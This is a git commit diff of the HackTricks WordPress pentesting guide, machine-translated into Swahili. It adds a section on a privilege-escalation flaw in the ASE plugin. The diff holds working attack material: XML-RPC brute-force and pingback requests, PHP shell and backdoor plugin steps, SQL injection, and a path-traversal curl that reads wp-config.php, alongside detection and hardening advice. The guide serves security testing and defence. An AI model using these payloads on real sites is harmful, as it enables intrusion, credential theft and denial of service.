mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/wordpress.md
This commit is contained in:
parent
c0aab181a5
commit
38029c2352
@ -26,7 +26,7 @@
|
||||
- Folda ya `wp-content` ndiyo directory kuu ambapo plugins na mandhari zinahifadhiwa.
|
||||
- `wp-content/uploads/` Ni directory ambapo faili zozote zilizopakiwa kwenye jukwaa zinahifadhiwa.
|
||||
- `wp-includes/` Hii ni directory ambapo faili za msingi zinahifadhiwa, kama vyeti, fonts, faili za JavaScript, na widgets.
|
||||
- `wp-sitemap.xml` Katika toleo la WordPress 5.5 na zaidi, WordPress inazalisha faili ya ramani ya XML yenye machapisho yote ya umma na aina za machapisho zinazoweza kuulizwa hadharani na taxonomies.
|
||||
- `wp-sitemap.xml` Katika toleo la WordPress 5.5 na zaidi, WordPress inazalisha faili ya ramani ya XML yenye machapisho yote ya umma na aina za machapisho zinazoweza kuulizwa kwa umma na taxonomies.
|
||||
|
||||
**Post exploitation**
|
||||
|
||||
@ -107,7 +107,7 @@ Pia kumbuka kwamba **/wp-json/wp/v2/pages** inaweza kuvuja anwani za IP.
|
||||
|
||||
### XML-RPC
|
||||
|
||||
Ikiwa `xml-rpc.php` inafanya kazi unaweza kufanya shambulio la nguvu za nywila au kuitumia kuzindua mashambulizi ya DoS kwa rasilimali nyingine. (Unaweza kuendesha mchakato huu [ukitumia hii](https://github.com/relarizky/wpxploit) kwa mfano).
|
||||
Ikiwa `xml-rpc.php` inafanya kazi unaweza kufanya brute-force ya akidi au kuitumia kuzindua mashambulizi ya DoS kwa rasilimali nyingine. (Unaweza kuendesha mchakato huu [ukitumia hii](https://github.com/relarizky/wpxploit) kwa mfano).
|
||||
|
||||
Ili kuona ikiwa inafanya kazi jaribu kufikia _**/xmlrpc.php**_ na kutuma ombi hili:
|
||||
|
||||
@ -122,7 +122,7 @@ Ili kuona ikiwa inafanya kazi jaribu kufikia _**/xmlrpc.php**_ na kutuma ombi hi
|
||||
|
||||
**Credentials Bruteforce**
|
||||
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** au **`metaWeblog.getUsersBlogs`** ni baadhi ya mbinu zinazoweza kutumika kujaribu nguvu za nywila. Ikiwa unaweza kupata yoyote yao unaweza kutuma kitu kama:
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** au **`metaWeblog.getUsersBlogs`** ni baadhi ya mbinu zinazoweza kutumika kujaribu nguvu za nywila. Ikiwa unaweza kupata yoyote kati yao unaweza kutuma kitu kama:
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>wp.getUsersBlogs</methodName>
|
||||
@ -174,12 +174,12 @@ Pia kuna **njia ya haraka** ya kujaribu nguvu za nywila kwa kutumia **`system.mu
|
||||
|
||||
**Kupita 2FA**
|
||||
|
||||
Njia hii imekusudiwa kwa programu na si kwa wanadamu, na ni ya zamani, kwa hivyo haitegemei 2FA. Hivyo, ikiwa una nywila halali lakini mlango mkuu umewekwa chini ya ulinzi wa 2FA, **huenda ukawa na uwezo wa kutumia xmlrpc.php kuingia kwa nywila hizo ukipita 2FA**. Kumbuka kwamba huwezi kufanya vitendo vyote unavyoweza kufanya kupitia console, lakini huenda bado ukawa na uwezo wa kufikia RCE kama Ippsec anavyoeleza katika [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
Njia hii imekusudiwa kwa programu na si kwa wanadamu, na ni ya zamani, hivyo haitegemei 2FA. Hivyo, ikiwa una nywila halali lakini mlango mkuu umewekwa chini ya ulinzi wa 2FA, **huenda ukawa na uwezo wa kutumia xmlrpc.php kuingia na nywila hizo ukipita 2FA**. Kumbuka kwamba huwezi kufanya vitendo vyote unavyoweza kufanya kupitia console, lakini huenda bado ukawa na uwezo wa kufikia RCE kama Ippsec anavyoelezea katika [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
|
||||
**DDoS au skanning ya port**
|
||||
**DDoS au skanning ya bandari**
|
||||
|
||||
Ikiwa unaweza kupata njia _**pingback.ping**_ ndani ya orodha unaweza kufanya Wordpress itume ombi lolote kwa mwenyeji/port yoyote.\
|
||||
Hii inaweza kutumika kuomba **maelfu** ya **tovuti** za Wordpress **kuingia** kwenye **mahali** moja (hivyo **DDoS** inasababishwa katika mahali hapo) au unaweza kuitumia kufanya **Wordpress** i **scan** baadhi ya **mtandao** wa ndani (unaweza kuashiria port yoyote).
|
||||
Ikiwa unaweza kupata njia _**pingback.ping**_ ndani ya orodha unaweza kufanya Wordpress itume ombi lolote kwa mwenyeji/bandari yoyote.\
|
||||
Hii inaweza kutumika kuomba **maelfu** ya **tovuti** za Wordpress **kuingia** kwenye **mahali** moja (hivyo **DDoS** inasababishwa katika mahali hapo) au unaweza kuitumia kufanya **Wordpress** i **scan** baadhi ya **mtandao** wa ndani (unaweza kuashiria bandari yoyote).
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>pingback.ping</methodName>
|
||||
@ -248,7 +248,7 @@ return new WP_Error(
|
||||
|
||||
**Kubadilisha php kutoka kwa mandhari inayotumika (nywila za admin zinahitajika)**
|
||||
|
||||
Muonekano → Mhariri wa Mandhari → Kigezo cha 404 (kushoto)
|
||||
Muonekano → Mhariri wa Mandhari → Kiolezo cha 404 (kulia)
|
||||
|
||||
Badilisha maudhui kuwa php shell:
|
||||
|
||||
@ -269,7 +269,7 @@ to get a session.
|
||||
### PHP plugin
|
||||
|
||||
Inaweza kuwa inawezekana kupakia faili za .php kama plugin.\
|
||||
Unda backdoor yako ya php kwa kutumia mfano:
|
||||
Unda backdoor yako ya php kwa kutumia kwa mfano:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -289,7 +289,7 @@ Labda hii haitafanya chochote kwa wazi, lakini ukitembelea Media, utaona shell y
|
||||
|
||||
.png>)
|
||||
|
||||
Fikia hiyo na utaona URL ya kutekeleza reverse shell:
|
||||
Fikia na utaona URL ya kutekeleza reverse shell:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -305,20 +305,20 @@ Njia hii inahusisha ufungaji wa plugin mbaya inayojulikana kuwa na udhaifu na in
|
||||
4. **Exploitation**:
|
||||
- Ikiwa plugin "reflex-gallery" imewekwa na kuanzishwa, inaweza kutumika kwa sababu inajulikana kuwa na udhaifu.
|
||||
- Mfumo wa Metasploit unatoa exploit kwa udhaifu huu. Kwa kupakia moduli inayofaa na kutekeleza amri maalum, kikao cha meterpreter kinaweza kuanzishwa, kikitoa ufikiaji usioidhinishwa kwa tovuti.
|
||||
- Inabainishwa kuwa hii ni moja tu ya njia nyingi za kutumia udhaifu wa tovuti ya WordPress.
|
||||
- Imepangwa kuwa hii ni moja tu ya njia nyingi za kutumia udhaifu wa tovuti ya WordPress.
|
||||
|
||||
Maudhui yanajumuisha msaada wa picha unaoonyesha hatua katika dashibodi ya WordPress kwa ufungaji na uanzishaji wa plugin. Hata hivyo, ni muhimu kutambua kuwa kutumia udhaifu kwa njia hii ni haramu na isiyo ya maadili bila idhini sahihi. Taarifa hii inapaswa kutumika kwa uwajibikaji na tu katika muktadha wa kisheria, kama vile upimaji wa penya kwa ruhusa wazi.
|
||||
Maudhui yanajumuisha msaada wa picha unaoonyesha hatua katika dashibodi ya WordPress kwa ufungaji na uanzishaji wa plugin. Hata hivyo, ni muhimu kutambua kuwa kutumia udhaifu kwa njia hii ni haramu na isiyo ya maadili bila idhini sahihi. Taarifa hii inapaswa kutumika kwa uwajibikaji na tu katika muktadha wa kisheria, kama vile pentesting kwa ruhusa wazi.
|
||||
|
||||
**Kwa hatua za kina zaidi angalia:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||||
|
||||
## From XSS to RCE
|
||||
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ ni script iliyoundwa kuongeza **Cross-Site Scripting (XSS)** udhaifu hadi **Remote Code Execution (RCE)** au udhaifu mwingine muhimu katika WordPress. Kwa maelezo zaidi angalia [**hiki chapisho**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Inatoa **msaada kwa Matoleo ya Wordpress 6.X.X, 5.X.X na 4.X.X. na inaruhusu:**
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ ni script iliyoundwa kuongeza **Cross-Site Scripting (XSS)** udhaifu hadi **Remote Code Execution (RCE)** au udhaifu mwingine muhimu katika WordPress. Kwa maelezo zaidi angalia [**hiki chapisho**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Inatoa **msaada kwa toleo za Wordpress 6.X.X, 5.X.X na 4.X.X. na inaruhusu:**
|
||||
- _**Privilege Escalation:**_ Inaunda mtumiaji katika WordPress.
|
||||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Pakia plugin yako ya kawaida (backdoor) kwenye WordPress.
|
||||
- _**(RCE) Built-In Plugin Edit:**_ Hariri Plugins za Kijengwa ndani katika WordPress.
|
||||
- _**(RCE) Built-In Theme Edit:**_ Hariri Mandhari za Kijengwa ndani katika WordPress.
|
||||
- _**(Custom) Custom Exploits:**_ Mifumo ya Kawaida kwa Plugins/Mandhari za Tatu za WordPress.
|
||||
- _**(RCE) Built-In Plugin Edit:**_ Hariri Plugins za Built-In katika WordPress.
|
||||
- _**(RCE) Built-In Theme Edit:**_ Hariri Mifumo ya Built-In katika WordPress.
|
||||
- _**(Custom) Custom Exploits:**_ Custom Exploits kwa Plugins/Mifumo ya Tatu za WordPress.
|
||||
|
||||
## Post Exploitation
|
||||
|
||||
@ -334,11 +334,11 @@ mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE
|
||||
|
||||
### Attack Surface
|
||||
|
||||
Kujua jinsi plugin ya Wordpress inavyoweza kufichua kazi ni muhimu ili kupata udhaifu katika kazi zake. Unaweza kupata jinsi plugin inaweza kufichua kazi katika alama zifuatazo na baadhi ya mifano ya plugins zenye udhaifu katika [**hiki kipande cha blog**](https://nowotarski.info/wordpress-nonce-authorization/).
|
||||
Kujua jinsi plugin ya Wordpress inavyoweza kufichua kazi ni muhimu ili kupata udhaifu katika kazi zake. Unaweza kupata jinsi plugin inaweza kufichua kazi katika alama zifuatazo na baadhi ya mifano ya plugins zenye udhaifu katika [**hiki kipande cha blogu**](https://nowotarski.info/wordpress-nonce-authorization/).
|
||||
|
||||
- **`wp_ajax`**
|
||||
|
||||
Moja ya njia ambazo plugin inaweza kufichua kazi ni kupitia waandishi wa AJAX. Hizi zinaweza kuwa na mantiki, udhibiti, au makosa ya uthibitishaji. Aidha, ni kawaida kwamba kazi hizi zitategemea uthibitishaji na ruhusa katika uwepo wa nonce ya wordpress ambayo **mtumiaji yeyote aliyeidhinishwa katika mfano wa Wordpress anaweza kuwa nayo** (bila kujali jukumu lake).
|
||||
Moja ya njia ambazo plugin inaweza kufichua kazi ni kupitia waandishi wa AJAX. Hizi zinaweza kuwa na mantiki, udhibiti, au makosa ya uthibitishaji. Aidha, ni kawaida kwamba kazi hizi zitategemea uthibitishaji na ruhusa katika uwepo wa nonce ya wordpress ambayo **mtumiaji yeyote aliyeidhinishwa katika mfano wa Wordpress anaweza kuwa nayo** (bila kujali nafasi yake).
|
||||
|
||||
Hizi ndizo kazi ambazo zinaweza kutumika kufichua kazi katika plugin:
|
||||
```php
|
||||
@ -348,7 +348,7 @@ add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
||||
**Matumizi ya `nopriv` yanaufanya mwisho uweze kupatikana na watumiaji wowote (hata wasio na uthibitisho).**
|
||||
|
||||
> [!CAUTION]
|
||||
> Zaidi ya hayo, ikiwa kazi inachunguza tu uthibitisho wa mtumiaji kwa kutumia kazi `wp_verify_nonce`, kazi hii inachunguza tu kama mtumiaji ameingia, kawaida haiangalii nafasi ya mtumiaji. Hivyo, watumiaji wenye mamlaka ya chini wanaweza kuwa na ufikiaji wa vitendo vya mamlaka ya juu.
|
||||
> Zaidi ya hayo, ikiwa kazi inakagua tu uthibitisho wa mtumiaji kwa kutumia kazi `wp_verify_nonce`, kazi hii inakagua tu kama mtumiaji ameingia, kawaida haiangalii nafasi ya mtumiaji. Hivyo, watumiaji wenye mamlaka ya chini wanaweza kuwa na ufikiaji wa vitendo vya mamlaka ya juu.
|
||||
|
||||
- **REST API**
|
||||
|
||||
@ -401,7 +401,7 @@ Masuala yaliyoanzishwa na kipande hiki:
|
||||
|
||||
* **Upatikanaji usio na uthibitisho** – kiunganishi `wp_ajax_nopriv_` kimeandikishwa.
|
||||
* **Hakuna nonce / ukaguzi wa uwezo** – mtembezi yeyote anaweza kufikia mwisho huo.
|
||||
* **Hakuna usafi wa njia** – mfuatiliaji wa mtumiaji `fontfamily` unachanganywa na njia ya mfumo wa faili bila kuchujwa, ikiruhusu usafiri wa jadi `../../`.
|
||||
* **Hakuna usafi wa njia** – mfuatiliaji wa `fontfamily` unaodhibitiwa na mtumiaji unachanganywa na njia ya mfumo wa faili bila kuchujwa, kuruhusu mzunguko wa kawaida `../../`.
|
||||
|
||||
#### Ukatili
|
||||
|
||||
@ -442,7 +442,71 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
|
||||
```
|
||||
> [!TIP]
|
||||
> **Daima** chukulia operesheni yoyote ya kuandika/kufuta kwenye diski kama yenye mamlaka na hakiki mara mbili:
|
||||
> • Uthibitishaji • Uidhinishaji • Nonce • Usafi wa ingizo • Kuweka njia (kwa mfano kupitia `realpath()` pamoja na `str_starts_with()`).
|
||||
> • Uthibitishaji • Uidhinishaji • Nonce • Usafi wa ingizo • Kuweka njia (kwa mfano, kupitia `realpath()` pamoja na `str_starts_with()`).
|
||||
|
||||
---
|
||||
|
||||
### Kuinua mamlaka kupitia urejeleaji wa jukumu la zamani na ukosefu wa uidhinishaji (ASE "Tazama Admin kama Jukumu")
|
||||
|
||||
Plugins nyingi zinafanya kazi ya "tazama kama jukumu" au kubadilisha jukumu kwa muda kwa kuhifadhi jukumu la awali katika meta ya mtumiaji ili ziweze kurejelewa baadaye. Ikiwa njia ya urejeleaji inategemea tu vigezo vya ombi (kwa mfano, `$_REQUEST['reset-for']`) na orodha inayoshughulikiwa na plugin bila kuangalia uwezo na nonce halali, hii inakuwa kuinua mamlaka kwa wima.
|
||||
|
||||
Mfano halisi ulipatikana katika plugin ya Admin na Site Enhancements (ASE) (≤ 7.6.2.1). Tawi la kurekebisha lilirejesha majukumu kulingana na `reset-for=<username>` ikiwa jina la mtumiaji lilionekana katika array ya ndani `$options['viewing_admin_as_role_are']`, lakini halikufanya uhakiki wa `current_user_can()` wala uthibitisho wa nonce kabla ya kuondoa majukumu ya sasa na kuongeza tena majukumu yaliyohifadhiwa kutoka meta ya mtumiaji `_asenha_view_admin_as_original_roles`:
|
||||
```php
|
||||
// Simplified vulnerable pattern
|
||||
if ( isset( $_REQUEST['reset-for'] ) ) {
|
||||
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
|
||||
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];
|
||||
|
||||
if ( in_array( $reset_for_username, $usernames, true ) ) {
|
||||
$u = get_user_by( 'login', $reset_for_username );
|
||||
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
|
||||
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
|
||||
foreach ( $orig as $r ) { $u->add_role( $r ); }
|
||||
}
|
||||
}
|
||||
```
|
||||
Kwa nini inapatikana
|
||||
|
||||
- Inategemea `$_REQUEST['reset-for']` na chaguo la plugin bila uthibitisho wa upande wa seva.
|
||||
- Ikiwa mtumiaji hapo awali alikuwa na haki za juu zilizohifadhiwa katika `_asenha_view_admin_as_original_roles` na akashushwa, wanaweza kuzirudisha kwa kugonga njia ya kurekebisha.
|
||||
- Katika baadhi ya matumizi, mtumiaji yeyote aliyeidhinishwa anaweza kuanzisha kurekebisha kwa jina lingine la mtumiaji ambalo bado lipo katika `viewing_admin_as_role_are` (uthibitisho ulioharibika).
|
||||
|
||||
Masharti ya shambulio
|
||||
|
||||
- Toleo la plugin lenye udhaifu na kipengele kilichowashwa.
|
||||
- Akaunti lengwa ina jukumu la juu lililohifadhiwa katika meta ya mtumiaji kutoka matumizi ya awali.
|
||||
- Kikao chochote kilichothibitishwa; kukosekana kwa nonce/uwezo kwenye mchakato wa kurekebisha.
|
||||
|
||||
Ushambulizi (mfano)
|
||||
```bash
|
||||
# While logged in as the downgraded user (or any auth user able to trigger the code path),
|
||||
# hit any route that executes the role-switcher logic and include the reset parameter.
|
||||
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
|
||||
curl -s -k -b 'wordpress_logged_in=...' \
|
||||
'https://victim.example/wp-admin/?reset-for=<your_username>'
|
||||
```
|
||||
Katika toleo zenye udhaifu, hii inafuta majukumu ya sasa na kuyarudisha majukumu ya asili yaliyohifadhiwa (mfano, `administrator`), kwa ufanisi inakuza mamlaka.
|
||||
|
||||
Orodha ya kugundua
|
||||
|
||||
- Angalia vipengele vya kubadilisha majukumu vinavyodumisha “majukumu ya asili” katika meta ya mtumiaji (mfano, `_asenha_view_admin_as_original_roles`).
|
||||
- Tambua njia za kurekebisha/kurejesha ambazo:
|
||||
- Zinapata majina ya watumiaji kutoka `$_REQUEST` / `$_GET` / `$_POST`.
|
||||
- Kubadilisha majukumu kupitia `add_role()` / `remove_role()` bila `current_user_can()` na `wp_verify_nonce()` / `check_admin_referer()`.
|
||||
- Kuthibitisha kulingana na array ya chaguo la plugin (mfano, `viewing_admin_as_role_are`) badala ya uwezo wa mhusika.
|
||||
|
||||
Kuimarisha
|
||||
|
||||
- Lazimisha ukaguzi wa uwezo kwenye kila tawi linalobadilisha hali (mfano, `current_user_can('manage_options')` au kali zaidi).
|
||||
- Hitaji nonces kwa mabadiliko yote ya jukumu/ruhusa na uyathibitisha: `check_admin_referer()` / `wp_verify_nonce()`.
|
||||
- Kamwe usiamini majina ya watumiaji yanayotolewa na ombi; pata mtumiaji wa lengo upande wa seva kulingana na mhusika aliyethibitishwa na sera wazi.
|
||||
- Batilisha hali ya “majukumu ya asili” kwenye masasisho ya wasifu/jukumu ili kuepuka urejeleaji wa mamlaka ya juu yasiyofaa:
|
||||
```php
|
||||
add_action( 'profile_update', function( $user_id ) {
|
||||
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
|
||||
}, 10, 1 );
|
||||
```
|
||||
- Fikiria kuhifadhi hali ndogo na kutumia tokeni zenye muda wa kikomo na zilizolindwa na uwezo kwa ajili ya kubadilisha majukumu kwa muda.
|
||||
|
||||
---
|
||||
|
||||
@ -450,7 +514,7 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
|
||||
|
||||
### Sasisho za Kawaida
|
||||
|
||||
Hakikisha WordPress, plugins, na mandhari ziko kwenye toleo la kisasa. Pia thibitisha kwamba sasisho za kiotomatiki zimewezeshwa katika wp-config.php:
|
||||
Hakikisha kwamba WordPress, plugins, na mandhari ziko updated. Pia thibitisha kwamba sasisho za kiotomatiki zimewezeshwa katika wp-config.php:
|
||||
```bash
|
||||
define( 'WP_AUTO_UPDATE_CORE', true );
|
||||
add_filter( 'auto_update_plugin', '__return_true' );
|
||||
@ -472,9 +536,9 @@ Pia, **sakinisha tu plugins na mandhari za WordPress zinazoweza kuaminika**.
|
||||
- **Punguza majaribio ya kuingia** ili kuzuia mashambulizi ya Brute Force
|
||||
- Badilisha jina la faili **`wp-admin.php`** na ruhusu ufikiaji tu ndani au kutoka anwani fulani za IP.
|
||||
|
||||
### Uingizaji wa SQL Usio na Uthibitisho kupitia ukosefu wa uthibitisho (WP Job Portal <= 2.3.2)
|
||||
### SQL Injection isiyo na uthibitisho kupitia ukosefu wa uthibitisho (WP Job Portal <= 2.3.2)
|
||||
|
||||
Plugin ya kuajiri ya WP Job Portal ilifunua kazi ya **savecategory** ambayo hatimaye inatekeleza msimbo huu dhaifu ndani ya `modules/category/model.php::validateFormData()`:
|
||||
Plugin ya WP Job Portal ya kuajiri ilifunua kazi ya **savecategory** ambayo hatimaye inatekeleza msimbo huu dhaifu ndani ya `modules/category/model.php::validateFormData()`:
|
||||
```php
|
||||
$category = WPJOBPORTALrequest::getVar('parentid');
|
||||
$inquery = ' ';
|
||||
@ -488,7 +552,7 @@ Masuala yaliyoanzishwa na kipande hiki:
|
||||
|
||||
1. **Kuingilia kwa mtumiaji bila kusafishwa** – `parentid` inatoka moja kwa moja kwenye ombi la HTTP.
|
||||
2. **Kuunganisha nyuzi ndani ya kipengele cha WHERE** – hakuna `is_numeric()` / `esc_sql()` / taarifa iliyopangwa.
|
||||
3. **Ufikivu usio na uthibitisho** – ingawa hatua inatekelezwa kupitia `admin-post.php`, ukaguzi pekee ulio katika mahali ni **CSRF nonce** (`wp_verify_nonce()`), ambayo mtembeleaji yeyote anaweza kupata kutoka kwenye ukurasa wa umma unaoingiza shortcode `[wpjobportal_my_resumes]`.
|
||||
3. **Ufikivu usio na uthibitisho** – ingawa hatua inatekelezwa kupitia `admin-post.php`, ukaguzi pekee uliosema ni **CSRF nonce** (`wp_verify_nonce()`), ambayo mtembeleaji yeyote anaweza kupata kutoka kwenye ukurasa wa umma unaoingiza shortcode `[wpjobportal_my_resumes]`.
|
||||
|
||||
#### Ukatili
|
||||
|
||||
@ -507,17 +571,17 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||||
Jibu linaonyesha matokeo ya ombi lililoingizwa au kubadilisha hifadhidata, kuthibitisha SQLi.
|
||||
|
||||
|
||||
### Kupakua Faili za Kijinga zisizo na Uthibitisho / Kupita Njia (WP Job Portal <= 2.3.2)
|
||||
### Kupakua Faili za Kigeni zisizo na Uthibitisho / Kupita Njia (WP Job Portal <= 2.3.2)
|
||||
|
||||
Kazi nyingine, **downloadcustomfile**, iliruhusu wageni kupakua **faili yoyote kwenye diski** kupitia kupita njia. Kitu kilichoharibika kiko katika `modules/customfield/model.php::downloadCustomUploadedFile()`:
|
||||
Kazi nyingine, **downloadcustomfile**, iliruhusu wageni kupakua **faili yoyote kwenye diski** kupitia kupita njia. Sink inayoweza kuathiriwa iko katika `modules/customfield/model.php::downloadCustomUploadedFile()`:
|
||||
```php
|
||||
$file = $path . '/' . $file_name;
|
||||
...
|
||||
echo $wp_filesystem->get_contents($file); // raw file output
|
||||
```
|
||||
`$file_name` inadhibitiwa na mshambuliaji na inachanganywa **bila kusafishwa**. Tena, lango pekee ni **CSRF nonce** ambayo inaweza kupatikana kutoka kwenye ukurasa wa wasifu.
|
||||
`$file_name` inadhibitiwa na mshambuliaji na inachanganywa **bila kusafishwa**. Tena, lango pekee ni **CSRF nonce** ambayo inaweza kupatikana kutoka kwenye ukurasa wa resume.
|
||||
|
||||
#### Ukatili
|
||||
#### Utekelezaji
|
||||
```bash
|
||||
curl -G https://victim.com/wp-admin/admin-post.php \
|
||||
--data-urlencode 'task=downloadcustomfile' \
|
||||
@ -526,11 +590,13 @@ curl -G https://victim.com/wp-admin/admin-post.php \
|
||||
--data-urlencode 'entity_id=1' \
|
||||
--data-urlencode 'file_name=../../../wp-config.php'
|
||||
```
|
||||
Server inajibu na maudhui ya `wp-config.php`, ikivuja sifa za DB na funguo za uthibitisho.
|
||||
Server inajibu na maudhui ya `wp-config.php`, ikivuja akidi za DB na funguo za uthibitisho.
|
||||
|
||||
## Marejeo
|
||||
|
||||
- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
|
||||
- [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
|
||||
- [Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites](https://patchstack.com/articles/rare-case-of-privilege-escalation-in-ase-plugin-affecting-100k-sites/)
|
||||
- [ASE 7.6.3 changeset – delete original roles on profile update](https://plugins.trac.wordpress.org/changeset/3211945/admin-site-enhancements/tags/7.6.3/classes/class-view-admin-as-role.php?old=3208295&old_path=admin-site-enhancements%2Ftags%2F7.6.2%2Fclasses%2Fclass-view-admin-as-role.php)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user